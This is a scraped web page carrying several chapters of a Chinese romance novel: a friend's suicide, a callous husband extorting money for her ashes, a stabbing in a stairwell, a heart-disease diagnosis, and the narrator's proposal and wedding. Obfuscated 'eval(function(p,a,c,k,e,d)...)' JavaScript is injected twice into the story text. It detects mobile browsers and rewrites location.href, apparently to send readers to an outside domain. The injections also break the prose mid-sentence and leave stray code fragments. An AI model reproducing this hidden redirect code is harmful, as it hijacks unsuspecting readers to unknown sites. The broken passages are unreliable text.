她在旁边写了一行小字:“方梨,对不起啊,参加不了你的婚礼了,这是我脑子里想象的样子,你一定是最美的新娘,要幸福啊。” 第二幅画,画的是我们四个,我,苏冉,严莉莉,潘露,画的是我们坐在向花街口那块大石头上,仰着头看星星的样子。 夜空是深蓝色的,星星像撒上去的碎钻,我们四个挤在一起,脸上都带着笑,画纸的空白处写着:“好想和你们在一起看一次星星……” 可惜她等不及和我们一起看星星,自己变成星星去夜空中了。 窗外突然下起了大雨,我恍惚间看到了十八岁的苏冉站在罗斌的伞下笑的眉眼弯弯,像我招手。 我想,如果当时有人告诉她,这个叫罗斌的男人将来会毁掉她。 她大概会笑着说:“不可能,他最爱我了!” 明明哪时候,我们都不懂爱情的。 26. 六万六的爱情 沈晋川看完信,气得直骂罗斌是人渣,说他毁了苏冉,还说苏冉为这种人放弃生命太不值了。 我把信小心翼翼折好放回信封里,给严莉莉打去了电话,她显然还不知道苏冉去世的消息。 电话刚响两声就被接起,严莉莉咋咋呼呼的声音传过来:“小屁孩,大晚上的想我了?” 我捏着手机的手紧了紧,喉咙发涩:“莉莉,苏冉她……”我喉咙里像卡着块硬东西,怎么也吐不出那个“死”字,就那么堵着,让我发不出完整的音。 “苏冉?她怎么啦?”她那边还有翻东西的声音,听着漫不经心,“难不成是她想我啦?她要想我,我就过段时间回去看她……” “苏冉……没了。”四个字像石头,砸得我自己心口发疼。 电话那头静了两秒,接着是严莉莉拔高的声音:“你说什么?没了?什么叫没了?她不前两天还跟我打电话说要出门吗?” “真的……”我深吸一口气,声音稳了稳,却还是抖,“苏冉她……死了。” “怎么可能!”她几乎是喊出来的,“这事可不敢胡说,是不是罗斌又打她了?” “她走之前……给我寄了封信……”眼泪突然就涌了出来,后面的话被什么堵住似的,我再也说不出口。 严莉莉是不信的,我想任谁听到的第一反应,应该都是不愿相信吧。 直到她和彭子然打车到了我和沈晋川住的地方,亲眼看到那封信,才不得不信。 她气得一个劲地骂罗斌,说苏冉就是太傻了,她还说,前几天刚接到苏冉的电话,苏冉说要出远门,她当时一点都没察觉到苏冉有什么不对劲。 我也特别懊恼,上次回老家见到苏冉时,她眼底的红血丝和勉强挤出的笑明明那么刺眼,可她一句“我没事”,我就真的信了。 如果当时我能多问几句,多留意一点,是不是后面这些事就不会发生了?是不是现在苏冉还能好好活着? 我和严莉莉买了第二天的车票,打算回去按照苏冉最后的遗愿,把她的骨灰带出来撒进海里。 这是苏冉在信的最后特意求我的,她说自己爱了罗斌那么久,死了想去看看外面的世界,让我们一定帮她完成这个心愿。 沈晋川和彭子然非要跟着,被我们拦住了,只是去接苏冉,犯不上兴师动众。 沈晋川不放心,念叨着“你们俩回去不安全”,我摆摆手:“没什么不放心的,我爸妈都在呢。” 严莉莉也帮腔:“罗斌再不是东西,苏冉都没了,他总该有点良心吧,我就是去接苏冉,很快就回来。” 可我们都想错了。 推开罗斌家那扇吱呀作响的木门时,他正翘着二郎腿坐在凳子上抽烟,看见我们进来,眼皮都没抬一下。 桌上的烟灰缸堆着满满一层烟蒂,空气里飘着一股馊味。 我盯着他那张毫无波澜的脸,积攒了一路的火气“噌”地窜上来:“罗斌!你知道你把苏冉毁成什么样了吗?她掏心掏肺对你,你怎么能这么对她!” 严莉莉冲上去指着他鼻子骂:“你他妈就是个畜生!” 罗斌却只是冷笑:“她死了关我屁事?”他吐出口中的烟,慢悠悠地问,“你们来干嘛?” “我们要带苏冉的骨灰走。” 他像是听到了什么笑话,突然笑出声:“她是我老婆,生是我家的人,死了也是我家的鬼,凭什么给你们?”他扫了我们一眼,“想带她走?行啊,拿十万块钱来。” 我彻底看清了罗斌的真面目,我原以为他多少会伤心难过,却不想一点都没有。 苏冉死了,他却还在算计钱,没有一丝愧疚,没有半点悲伤,他甚至嫌她死得不够干净,还要用她的骨灰再讹我们一笔? 我死死盯着他冷漠的脸,胃里翻涌着恶心,苏冉这些年到底爱了个什么东西? 我终于明白,我们太高估他了,他根本不是人,是彻头彻尾的畜生。 “你做梦!”我气得浑身发抖,扬手就给了他一个耳光,“人渣!你就是个禽兽!” 严莉莉也红了眼:“我们不想在苏冉面前闹得难看,你让我们带走她,这事就算了。” 罗斌摸了摸被打红的脸,轻蔑地撇着嘴:“不给钱就想带走?做梦!没钱我明个就把她倒臭水沟里去!”他顿了顿,眼神里透着股恶心的光,“没想到这女人死了还有点用。” 严莉莉气得一拳砸在他胸口,他踉跄了一下,刚要还手,看见我举着手机要报警,又把拳头收了回去,嘴上还硬:“报警?警察来了也没用,她和我是合法的,没死前又没离婚,警察管不着。” 还真被他说中了,警察来了之后,听我们你一言我一语说完,也只是叹着气调解。 我把苏冉的信递过去,一字一句念她写的那些委屈,罗斌却梗着脖子喊:“她们瞎编的!林苏冉要是真受了委屈,怎么不自己报警?” 苏冉已经火化了,没凭没据的,警察也只能让我们好好商量。 等警察走了,罗斌往沙发上一靠,还是那句话:“拿钱,不然别想走。” 见我们不松口,他又改口:“六万六,当初我娶她也是花了钱的,你们把彩礼钱还我,我就让你们带走。” 严莉莉咬着牙转身就往外走,没过多久拎着袋子回来,把袋子里的钱摔在他脸上:“这是六万六,你拿着滚!”她又扬手给了罗斌一巴掌,“你他妈真不是个东西!苏冉为你做了那么多,你连眼睛都不眨一下!你这种人渣,以后死了都没人给你收尸!” 罗斌被打急了,吼道:“不用你们操心!是她自己下贱,死缠烂打跟着我,现在死了还来烦我,真他妈晦气!” 严莉莉攥紧拳头还想冲上去,罗斌却突然把脸凑过来:“打啊,来!给你打,使劲打,打完我就报警,让你们再赔几万!” “跟他这种人费什么口舌。”我拉住严莉莉,咬着牙说,“我们带苏冉走。” 罗斌坐在那儿抽着烟,冷冷地看着我们从里屋抱出那个小小的骨灰盒,从头到尾没再说一句话。 我和严莉莉捧着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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直到现在我才明白,有些爱情看着像块糖,其实是毒药,里面裹着的那些所谓忠贞和痴情,能把人害死。 总有些像苏冉这样的女生,明知对方不爱了,还要一头栽进去不愿回头,把自己当成爱情的信徒,赌上所有,甚至丢掉生命。 所以后来看到林徽因给徐志摩的信,知道她最终选择放下那段感情,我忍不住落了泪。 林徽因能及时收住脚步,拒绝那些诱惑,真是太清醒了。 可惜,苏冉没能给自己留一条活路。 苏冉渴望得到一份完美的爱情,希望自己的爱情能像童话里那样美好,她以为她遇见了,以为罗斌就是她的王子,她便一股脑地扎了进去,把自己所有的光都捧到他面前。 可罗斌眼里的惊艳,不过是掠过湖面的风,转瞬就散了,只留下她在原地,捧着逐渐冷却的真心,还傻傻等着故事里的圆满。 张爱玲说过,见了他,她变得很低很低,低到尘埃里,可心里是欢喜的,从尘埃里开出花来。每次想起这句话,我就替苏冉疼得慌。 她那么好的一个姑娘,本该有热热闹闹的一辈子,却被一个根本不配的人,毁得干干净净。 27. 双向奔赴 苏冉的死对我们打击都很大,那段时间,严莉莉总念叨,说苏冉怎么就那么傻呢?为了个狗屁爱情,把自己命都搭进去了。 她和彭子然还是守着他们那个小超市过日子,超市不大,我们和沈晋川去看过几次,大部分时间都是彭子然在店里忙活。 用严莉莉自己的话说:“我待不住!从早到晚钉在店里,闷都闷死了,累得慌!” 她没事了就爱来找我,不是拉着我满街乱逛,就是琢磨去哪里玩两天。 我问她:“你不陪陪彭子然?他一个人看店多没劲。” 她摆摆手,一脸无所谓:“他?他就喜欢守着那店呗,我说关门出去玩几天,他都不乐意,说什么店开了门就得有人守着,他喜欢守就让他守着呗。” 我从她话里话外,还有那副懒洋洋提不起劲的样子里能感觉出来,她对彭子然,或者说对现在的日子,有点腻了。 她当初跟彭子然结婚,可能也就是图个新鲜?或者有那么个人死心塌地追着她跑,她一时好奇就答应了? 而现在,那股子热乎劲儿过去了,她对彭子然,自然就淡了。 可能连她自己都忘了,当初是她想要安定了,盘了一个小店,想守着烟火过踏实日子,如今新鲜感过去了,骨子里那点躁动又冒出了头。 甚至有时候,我跟她正逛着街呢,她手机就响了,接起来,电话那头明显是个男的。 她接电话的语气,神态,跟和我说话完全不一样,声音会软一点,还会咯咯笑,好像不是普通朋友。 我看在眼里,心里有点不踏实,就提醒她:“你这跟谁聊这么热乎啊?注意点分寸。” 她听了,也就是撇撇嘴,一副你大惊小怪的样子,不以为然地回我:“哎呀,想什么呢?就普通朋友聊聊天而已,你比彭子然还敏感!” 她总是那样口是心非,言行举止都表现的没有那么爱彭子然,让我们也以为她真的不爱彭子然。 沈晋川总说,严莉莉那样的性子,怕是很难长久安定下来,他觉得,或许严莉莉早就对眼下的日子腻了,不过是被婚姻捆着,没别的办法。 我嘴上不认同,心里却隐隐觉得他说得有些道理。 我劝过严莉莉,若真想和彭子然好好过日子,就不能再像从前那样随性。 有时我真怕她做出什么出格的事,可她每次都笑得云淡风轻,说我想多了,说既然选了结婚,自然不会再像以前那样。 话是这么说,她却照旧当着我的面接那些不明不白的电话,我不知道她在彭子然面前是不是也这样毫不避讳。 沈晋川劝我别太操心,“这是严莉莉自己的事,你说再多,劝再狠,她不听也是白搭。” 我何尝不明白,可终究盼着她能好好的。 毕竟我们四个里,如今只剩我和她了。 潘露跟着高昂去了国外,就彻底跟我们断了联系,像人间蒸发一般。 苏冉走后,我和严莉莉都在她扣扣上留过言,可消息都石沉大海了。 严莉莉说:“潘露准是跟高昂结婚了,成了阔太太,过好日子去了,哪还会记得我们。”谁知道呢?反正连一丝她的消息都没有。 相比之下,我和沈晋川的日子倒是安稳幸福,仿佛没变过,我们俩都是朋友不多的人,休息时间几乎都腻在一起。 要么窝在家里看电影、追剧,要么一起出门看场电影、逛逛街,然后买菜回来一起做饭、吃饭,剩下的时间就是依偎缠绵,似乎永远也不会腻。 网店生意越来越好,我们攒够了首付,买了个两室一厅的小房子,不大但温馨。 我问严莉莉要不要也买在我们小区跟我做邻居,她拒绝了。 我问她:“不想和我做邻居吗?” 她笑着说“不是”,只说没钱。 我不信:“你还没钱?” 她才含糊地说钱有别的用处。 那时我还不知道,她是想帮彭子然“还债”,更不知道彭子然家所谓的“破产”根本就是场骗局,他父母怕严莉莉图钱,故意说破产想让她知难而退,没想到彭子然铁了心要娶严莉莉,甚至跟她来到了浙江。 而严莉莉呢,一直被蒙在鼓里,有次她无意间发现彭子然在找夜班的工作,以为彭子然家欠了巨债才让他不得已想要打工挣钱,她一心想帮他,只是彭子然没收她的钱。 她那些频繁的电话,其实是招聘方打来的,她在找工作,却总没遇到合适的,这些事,她哪时候一句都没跟我们提过。 她想帮他分担,虽然嘴上整天说着想出去玩、腻了,其实是在偷偷找工作想多挣点钱。 她甚至记得自己以前跟彭子然说过“要是你没钱了我就不要你了”这样的狠话,猜想彭子然不告诉她实情,就是怕她离开,才选择一个人硬抗。 但她不知道,彭子然找工作不过是想多挣点钱给她更好的生活,他发现那段时间严莉莉总接到陌生电话,聊得挺开心,但一见他走近就立刻挂断。 他以为严莉莉厌倦了平淡的生活,厌倦了他这个“落魄”的人,害怕她会离开。 所以他想白天守店,晚上再找份工作,多挣点钱,希望能像以前那样给严莉莉富足的生活,留住她。 两个人都默默为对方打算着,却都误解了对方的心意。 只是工作还没找到,意外就来了。 一天晚上,彭子然从店里回到家,左等右等都不见严莉莉回来,打电话问,严莉莉说“马上到楼下了”。 彭子然说去接,她只说不用电梯很快,挂断电话刚进电梯,一个持刀的男人就冲了进来,用刀抵着她的腰,逼她按了负一楼。 “别动!别出声!不然要你好看!”男人压低声音威胁。 严莉莉吓得魂飞魄散,强作镇定地说:“我……我包里有钱,都给你!”她慌忙把包里的一千多块现金全掏出来递过去。 男人接过钱,眼神却在她身上打转,看她穿着时髦,动了邪念,开始动手动脚。 严莉莉惊恐万分,急中生智喊道:“别!我微信里还有五千多!都转给你!都给你!” 男人心动了,让她拿手机出来转账,可负一楼没信号,严莉莉赶紧说:“去一楼!一楼有信号!” 男人警告她“别耍花样”,她连连应着,被他押着往一楼走。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16464352|185454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 刚到一楼楼梯间,手机信号跳了出来,彭子然的电话正好打了进来。 男人被突然响起的铃声惊得一慌,扬手就给了严莉莉一巴掌,她疼得闷哼一声,想接电话,手机却被男人抢过去挂断了。 他刚点开微信,要严莉莉转账,楼梯间的门“吱呀”一声开了,彭子然见严莉莉迟迟没上来,电话又打不通,索性下楼来找,刚才电话打通的瞬间,他听见铃声是从楼梯间传出来的,便循着声音找了过来。 门开的瞬间,彭子然就看到了一个男人手里握着刀,正死死盯着严莉莉,男人见有人进来,顿时慌了神,持刀的手一抖,竟朝着严莉莉刺了过去。 “你干什么?!”彭子然怒吼一声,想也没想就扑了上去,伸手去握刀刃,硬生生抓住了那把刀,刀划破了他的掌心,血瞬间涌了出来,顺着刀柄往下滴。 男人被他这不要命的架势吓了一跳,又惊又怒,疯狂地想把刀抽回来,两人在狭窄的楼梯口扭打在一起! 彭子然不顾右手剧痛,拼命想夺下凶器。 混乱中,男人握着刀的手猛地往前一送,刀没入了彭子然的腹部。 他闷哼一声,力气卸了大半,男人趁机狠狠一推,彭子然身子一歪,从台阶上滚了下去,撞在平台上,不动了。 男人见状,甩开刀就往门外跑,转眼没了踪影。 楼梯间里只剩下血腥味,浓得呛人。 严莉莉疯了似的扑过去,跪在地上抱住彭子然,他的血浸透了她的衣服,“彭子然!彭子然!”她语无伦次地哭喊着,声音抖得不成样子,手上全是血,颤抖着摸出手机打急救电话。 第二天我接到严莉莉的电话,赶到医院时,彭子然刚吃了药睡下。 严莉莉脸色惨白,眼睛肿的像核桃,跟我讲这些的时候,身子还在抖,眼神直勾勾地盯着病床上的人,嘴里反复说:“就差一点点……刀再偏一点,他就没了……” 她突然捂住脸,眼泪从指缝里往外淌:“我真的是个不幸的人……他跟我在一起,就没过过一天好日子……” 我听完严莉莉的讲述,整个人都僵住了,后背一阵阵发凉,太可怕了,光是想象那个画面就让我手脚发软,还好医生说彭子然已经脱离危险了,不然我真不敢想严莉莉要怎么承受。 看着她哭得发抖的样子,我张了张嘴,却不知道该说什么。 最后只能紧紧抱住她,轻轻拍着她的背说:“不是这样的,你别这么想。” 严莉莉靠在我肩上,声音哽咽:“等他醒了,我一定好好对他,再也不乱发脾气了,再也不吼他了……” 她的眼泪把我的衣服都打湿了,我知道她是真的被吓坏了,这次的事情让她彻底清醒了。 看着病床上脸色苍白的彭子然,再看看哭成泪人的严莉莉,我突然觉得,也许这场意外对他们来说是件好事。 至少让严莉莉看清了自己的心,也让彭子然知道严莉莉有多在乎他。 我想,等彭子然康复后,他们的感情一定会比以前更好。 可惜,没等彭子然康复,医生就带来了一个噩耗,彭子然的心脏出了问题。 28. 命运怎么可以这么残忍? 彭子然刚能下床活动,医生就单独把严莉莉叫去了办公室,她回来时脸色惨白,整个人摇摇欲坠,手里攥着一张检查单。 “怎么了?”我赶紧扶住她。 她嘴唇颤抖着:“医生说……彭子然的心脏有问题。” 我心头猛地一紧:“什么问题?” “扩张型心肌病。”她机械地重复着医生的诊断,“说是晚期了……比较严重……” 我下意识看向病床上的彭子然,他正安静地睡着,胸口随着呼吸微微起伏,完全看不出那里藏着一颗正在衰竭的心脏。 “怎么会这样。”我不敢相信。 严莉莉的眼泪掉了下来:“医生说现在需要长期吃药……等他的伤好了,可以考虑心脏移植……但是风险很大……” 我扶着她坐下,感觉喉咙发紧。 命运怎么可以这么残忍? 彭子然才刚为了救她差点送命,现在又要面对这样的噩耗。 严莉莉才下定决心要好好对他,就要眼睁睁看着他的心脏一点点衰竭。 严莉莉眼泪止不住地流:“都是我害的,他妈妈说的对,和我在一起就没好事……” 她把错都归结到自己身上,捂着脸痛哭了起来。 我紧紧抱住她,想安慰她,张了张口却怎么也想不到合适的话。 第二天彭子然就知道了,他躺在病床上脸色苍白,但嘴角带着笑,轻轻握着严莉莉的手,说:“没事的,别怕,医生不是说了么,可以先吃药的。” 严莉莉知道这只是彭子然安慰她的话,毕竟医生的诊断单上清清楚楚写着,扩张型心肌病晚期,药物治疗并非最佳方案。 严莉莉看着彭子然,死死咬着下唇,眼眶通红,却硬是没让眼泪掉下来。 在一次彭子然的妈妈给彭子然打电话时,严莉莉接起电话告诉了他们彭子然住院的事。 彭子然的父母很快赶来了杭州。 彭母一进门就红了眼眶,却强忍着没哭,只是冷静地说:“我们去国外治,你舅舅是心脏外科的专家,一定会没事的。”说完,她扫了一眼一旁的严莉莉,眼神复杂难辨。 彭子然摇头:“我不去国外!妈你别担心,没事的。”他声音嘶哑,目光死死黏在严莉莉身上,“国内也可以治的,我哪儿也不去!” “好好,你先休息,等妈妈问过医生再说。”彭母轻轻拍了拍彭子然。 我看着彭母泛红的眼眶,心里一阵发紧。 作为母亲,看到离家多年的儿子突然躺在病床上,任谁都受不了,更何况,这个儿子当初为了娶严莉莉不惜和家里断绝关系,结婚后就没回去过。 如今好不容易见面,却发现他不仅身受重伤,还被查出严重的心脏病,更让她心痛的是,儿子竟然还不愿意跟他们去治病。 彭母让严莉莉带她去找医生,但我看得出来,她只是想单独和严莉莉谈话。 严莉莉跟着她走出病房,还没站稳,彭母就转过身来,她的声音很平静却不容拒绝:“我们明天就带子然回去!严莉莉,你也看到了,子然弄成这样都是为了你,现在连命都要保不住了,你总不会眼睁睁看着他死吧?” “我就这么一个儿子,他要出点事我和他爸怎么活?他就是年轻不懂事,小时候我和他爸常年在外工作对他关心少了,所以他才会叛逆,跑到这里来,现在亏也吃了,该回去了。”她拿出一个卡递给严莉莉,“这卡里的钱你拿去,你们好歹也在一起这么久了,我想你对他总有点感情吧?你去劝劝他,让他跟我们走。” 我站在一旁,听着这些话,心里特别不是滋味,从头到尾,彭母都没有真正认可过严莉莉,在她眼里,儿子会娶严莉莉,不过是因为他们夫妻常年在外工作,对儿子关心不够,让他变得叛逆了,所以他们越是反对他做什么,儿子就越做什么,她根本不相信他们之间有什么爱情。 严莉莉听完这些话,整个人明显晃了一下,要不是我及时扶住,她可能就摔倒了。 我不知道她此刻心里是什么感受,只觉得她像是被抽走了全身的力气,嘴唇颤抖着,半天说不出一个字来。 过了好久,她才艰难地开口,声音沙哑得厉害:“我……我想跟你们一起去国外。” 她没有去接那张卡,甚至连看都没看一眼,只是红着眼看着彭母,希望她能答应自己的请求。 她的丈夫生病了,他的母亲要带走他,而她想一起去,陪在丈夫身边照顾他,却还要低声下气的乞求。 “不用了。”彭子然妈妈没看她,只是整理着儿子的病历,“我们自己照顾他就行。” 严莉莉急急地从随身的旧帆布包里翻出钱包又拿出银行卡:“钱……我有钱,我也能管好自己!”她把卡递过去,声音低低的,“让我跟着你们就行,你们不用管我……” 彭母扫了她一眼,语气淡淡的:“你自己留着吧,子然治病要紧,你去了只会让他分心。好了,你快进去劝劝他吧。” 彭母拒绝得彻底,严莉莉的肩膀微微塌了下去,她知道,彭子然的妈妈一直不喜欢她,觉得她配不上自己的儿子,可现在,她连想陪着彭子然的资格都没有。 严莉莉妥协了,她一个人回了病房,我不知道她跟彭子然说了什么,半个小时后她走出来,跟彭母说彭子然答应跟他们回去了。 后来我才知道严莉莉跟彭子然说让他跟父母去国外看病,彭子然不去,严莉莉就说让他先去,等自己把超市处理掉就去找他,她答应彭子然一定会去找他的。 彭子然看着她,想说什么,最终只是紧紧握了握她的手。 彭子然走的那天,严莉莉不知道,等我忙完和沈晋川赶到医院时,才知道彭子然已经被他爸妈带走了。 “他门走了?”我愣在门口,看着正在收拾床铺的护士。 严莉莉站在病房里,手里还提着刚刚买好的豆浆和小笼包,声音轻得几乎听不见:“我就出去买了个早饭,他们就走了……” 护士告诉我们,彭子然的父母天没亮就来办了出院手续,几乎是严莉莉刚踏出病房门,他们就带着人离开了。 严莉莉站在空荡荡的病床前,“连最后一面都不让我见……”她突然笑了,笑声比哭还让人心疼,“我就这么让他们讨厌吗?”她轻声说,“他是不是……也同意他爸妈这么做?是不是也不想见我了?” 我看着她的样子,想说些安慰的话,却发现任何语言都显得苍白。 严莉莉突然转身往外走,脚步有些踉跄:“算了,这样也好,他家那么有钱,他肯定能好好的。” 彭子然就这样走了,就好像真如他妈妈口中所说的那样,他只是叛逆了,来杭州待了一阵子,就走了。 彭子然走后,严莉莉原本真的打算把店买了去找他,可压根不知道去那找。 她常站在超市门口,望着远处发呆 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“你说他是不是……过腻这种日子了?”她突然问我,眼里满是浓得化不开的迷茫和恐惧,像迷路的孩子,“是不是不想回来了?” 我心里像被什么东西狠狠拧了一把,酸涩胀痛得厉害。 她总是嘴上说着“再也不相信爱情了”“男人没一个好东西”,可每次提到彭子然,眼神还是会软下来。 她明明比谁都爱他,却连他在哪里,现在好不好都不知道。 我强压下喉咙里的哽塞,努力让自己的声音听起来笃定:“不会的,你别瞎想,彭子然那么爱你,你又不是不知道。他肯定是治病呢,不方便联系,等他好了,一定会回来找你的!” “是啊……”她低声应着,目光飘向收银台后面墙上挂着的一张两人合影上,照片里彭子然搂着她,笑得很开心,她则一脸嫌弃地推他,眼角眉梢却都是藏不住的笑意。 “他以前……是很爱我的。”“以前”两个字,她说得很轻,却像一根细小的针,扎得人心里一疼。 她顿了顿,眼神空洞地望着前方,声音轻得像叹息,“那段时间,他总说做梦,梦见我走了,醒过来就抱着我,抱得特别紧,好像怕我真的不见了似的……” 我的心猛地一抽,以前从来没有觉得严莉莉爱彭子然,现在才发现她的爱一点都不比彭子然少,只是伪装得太好了。 彭子然那么爱严莉莉,肯定也很想她吧,至于为什么这么久都不联系呢?我想,也许是他在治病没办法联系,或者是他父母不让他联系吧。 彭子然离开一年后,严莉莉有天半夜突然给我打来了电话,声音带着哭腔:“我梦见他走了……他不要我了……小屁孩,他不要我了……”她哭着喊着说完,又自言自语继续说,“没关系,只要他能好好的,哪怕…..哪怕他想离婚,我也愿意。” 说完她又问我,“小屁孩,你说他是不是真的不要我了……我听说中国的结婚证在外国不作数的,是不是真的……他以后会不会定居在国外不回来了……” 我的心跟着她的哭声一抽一抽地疼。 这个曾经把“爱情算个屁”当口头禅的姑娘,现在却为了一个杳无音讯的人哭到半夜。 她甚至想去找他,可连他在哪个国家都不知道,只能守着他们的小超市,像个固执的傻瓜一样等一个可能永远不会回来的人。 而我,除了陪着她,一遍遍地说“他会回来的”,什么也做不了。 29. 【正文完】 回向花街那天,风特别大。 我心里总惦记着严莉莉,便再回去前和沈晋川绕路先去看了她。 自从彭子然走后,严莉莉就像是换了个人,穿得素净,也不爱抹口红了,常常坐在超市门口发呆。 有客人来买东西,随口问起“怎么不见你老公”,她就扯出个笑来,说“他出去挣钱了,过年就回来”,次次都这么说。 沈晋川看着她,轻声叹道:“严莉莉真变了,完全不是我以前认识的样子。” 从前总觉得她眼里只有自己,活得张扬又花心,谁能想到,她爱彭子然竟爱得这么深。 车子开进向花街,熟悉的街景却透着陌生。 街口那棵为我们遮过阴的大树被砍掉了,小时候我们四个常并排坐着看星星的那块大石头也不见了踪影,就连学校都搬到了市里,校门敞开着,显得有些荒凉,只有校园里那几棵高大的梧桐树依然挺立,枝叶繁茂。 沈晋川牵起我的手,指着那些梧桐树说:“看,这儿倒是一点没变。”他停下脚步,眼神温柔地看向我,“记得吗?我刚转学过来那天,在篮球场上,远远就看见你一个人坐在这梧桐树底下发呆。小小的一个,特别安静。” 我笑着戳他:“刚转校就偷看女生,你可真行!” “哪是偷看。”他握紧我的手,嘴角带着笑意,“是你太迷人了,一下子就把我吸引住了。” “沈晋川同学,你这是早恋啊!那么小就暗恋我?” “是,就暗恋你。”他应得干脆,抓着我的手吻了吻。 我笑着锤他,他忽然停下,转过身,无比认真地看着我的眼睛,风从梧桐叶间穿过去,沙沙地响。 他从口袋里摸出个东西,摊开手心,是颗大白兔奶糖,糖纸边缘都泛黄了。 “这是你高中时送我的第一颗糖。”他声音有点发紧,指尖轻轻捏着糖纸,“我一直没舍得吃。” 话音刚落,他突然单膝跪了下来,校园里空荡荡的,只有我们俩,还有风吹过树叶的声音。 他从口袋里摸出个小盒子,打开,里面的戒指在阳光下闪着光。 “你送我的糖,我留到了现在,以后可不可以让我照顾你?”他抬起头,眼中是化不开的深情,“一辈子!” 我的心跳快得像要蹦出来。 我曾经幻想过沈晋川向我求婚的场景,苏冉、潘露、严莉莉肯定都是在场的来见证我的幸福的,可现在只有我们两个,好像到头来只有我们两个是幸福的。 我看着沈晋川认真的样子,眼眶有点发热,伸出手,说:“还不快给我戴上。” 他小心翼翼地为我套上戒指,低头,珍重地在我戴戒指的手背上印下一个吻。 我看着手上的戒指,忽然想起当年把大白兔奶糖塞给他的样子,也是这样,心怦怦跳得厉害。 那颗糖的甜,如今终于酿成了余生相守的约定。 我们很快就商量起婚期,原本说先订婚,明年再结婚,可老家有说法,本命年不能办婚事。 来年正好是我的本命年,我和沈晋川合计了一下,干脆直接结婚算了,我本就不喜欢那些繁琐的流程,要是能不办婚礼,直接去旅行结婚,才更合我意。 婚期定得急,又赶上年关,我俩一下子忙了起来,等所有事都张罗得差不多,我给严莉莉打了个电话,告诉她我要结婚了,想让她来。 她一个人守在那儿,我总怕她胡思乱想,回来热闹热闹,总比一个人憋着强。 打电话前我又犯嘀咕,她会来吗?之前叫她出去散心,她总说“要等彭子然,万一我走了,他回来找不着我怎么办”,每次听她这么说,我心里都酸涩的厉害。 没想到,严莉莉一口就答应了,“你的婚礼,我必须来。” 结婚前一天晚上,我们一起吃饭,气氛难得轻松,大家高兴,都多喝了几杯。 严莉莉脸上似乎看不出太多伤心的痕迹了,她举着酒杯说:“我们四个,现在就剩我一个参加你的婚礼了,这杯酒,我替苏冉和潘露喝了!小屁孩,你要幸福啊!” 我看了看沈晋川,笑着举杯说:“我会幸福的。” 酒杯相碰的瞬间,我突然想起很多年前的事。 那时候我们四个总爱偷穿严莉莉妈妈的高跟鞋,在她家院子里歪歪扭扭地学模特走路。 夏天的晚上,我们就跑到向花街口的大石头上看星星。 潘露的辫子总是蹭到我脸上,严莉莉说以后要永远在一起,苏冉说我们要一起活到八十岁,谁都不许先离开。 如今我要结婚了,严莉莉还在等她的男孩从国外治病归来,苏冉永远留在了落叶纷飞的秋天,而潘露,谁都不知道她现在到底在哪。 婚期定下时,我就在潘露的扣扣上留了言,可惜,消息依旧石沉大海。 吃完饭已经很晚了,严莉莉喝得有点多,拉着我的手不肯放,絮絮叨叨地说个不停。 我们聊起从前四个女生挤在一张床上说悄悄话的日子,聊到彭子然,她的眼泪突然就掉了下来。 她抹着眼泪,说起他们刚认识的时候:“那时候彭子然可傻了,啥都不懂,有回醒过来,看见我俩躺在一张床上,就急吼吼地说要对我负责,他明明知道我是做什么的,却一点都不在乎,就想把我从那黑窟窿里往外拉。” 她笑了笑,眼泪却流得更凶:“刚开始跟他在一起,我自己都说不清是为什么,嘴上总说就图他的钱,可心里头清楚,他跟别的男人不一样,每次来我那儿,不想我跟别人出去,就说要花钱包我一天,结果就躺在沙发上睡觉,连床都不沾。我那时候还纳闷,是我没魅力,还是他有什么怪癖?有一回我实在忍不住,他坐在沙发上,我就坐到他腿上勾他,我能感觉到他有反应,可他就是绷着不肯动,你说他傻不傻?” “我使劲撩他,好不容易把他哄到床上,他又紧张得浑身僵硬,连力气都不敢用,笨死了。”她吸了吸鼻子,声音发哑,“他问我舒服吗?我骗他说舒服,其实一点感觉都没有,可我不敢说,怕伤了他的自尊心,那傻子捧着我的脸亲我,说让我以后别找别人了……” 她忽然看向我,脸上糊满了泪水,“你说,如果我十八岁那年,先遇到的人是彭子然,该多好?” 我没吭声,伸手帮她擦了擦眼泪,她的脸有点烫,眼泪混着热气蹭在我手上,心里像被什么东西堵着,闷得喘不上气,说不出的难受。 谁没有过这样的念头呢,那段兵荒马乱的青春里,总忍不住幻想,要是在那个年纪先遇到的人是他,该多好。 可哪有那么多如果,如果严莉莉没有遇到那个带她去广州的林熙,就不会有后来的颠沛流离,自然也就不会遇见彭子然。 结婚当天,严莉莉看着我穿上洁白的婚纱,由衷地说:“真漂亮,小屁孩,你终于嫁了。”她转向沈晋川,反反复复叮嘱他“一定要照顾好她。” 我想让她当我的伴娘,她却一直摇头推辞,说什么“我不干净,不能当你的伴娘”。 我心里一痛,在我心里,她永远是最好的那个严莉莉,架不住我的热情,她当了我的伴娘,我唯一的伴娘。 婚礼那天,严莉莉穿着素白的伴娘裙站在我身边,当司仪宣布交换戒指时,我看见她飞快地抹了一下眼角。 她替我捧着捧花的手很稳,可当我挽住她胳膊时,才发现她在轻轻发抖。 婚礼结束后,沈晋川抱着我,下巴抵在我发顶,声音里满是满足:“我终于娶到你了。” 他的怀抱温暖踏实,我忍不住在他胸口上蹭了蹭,远处还有几个朋友在起哄,喊着“新郎官别急着腻歪了”,他却充耳不闻,只是将我搂得更紧了些。 晚上亲戚朋友闹到很晚才散,我累得骨头都快散架了。 洗漱完刚躺下,沈晋川就凑了过来,胳膊圈住我的腰,热气喷在我耳边:“老婆,春宵一刻值千金,新婚夜可不能就这么睡了。” 我推他一把:“累死了,动不了。” 他低笑起来,手不老实地往我衣服里钻:“不累的,你躺着就行。” 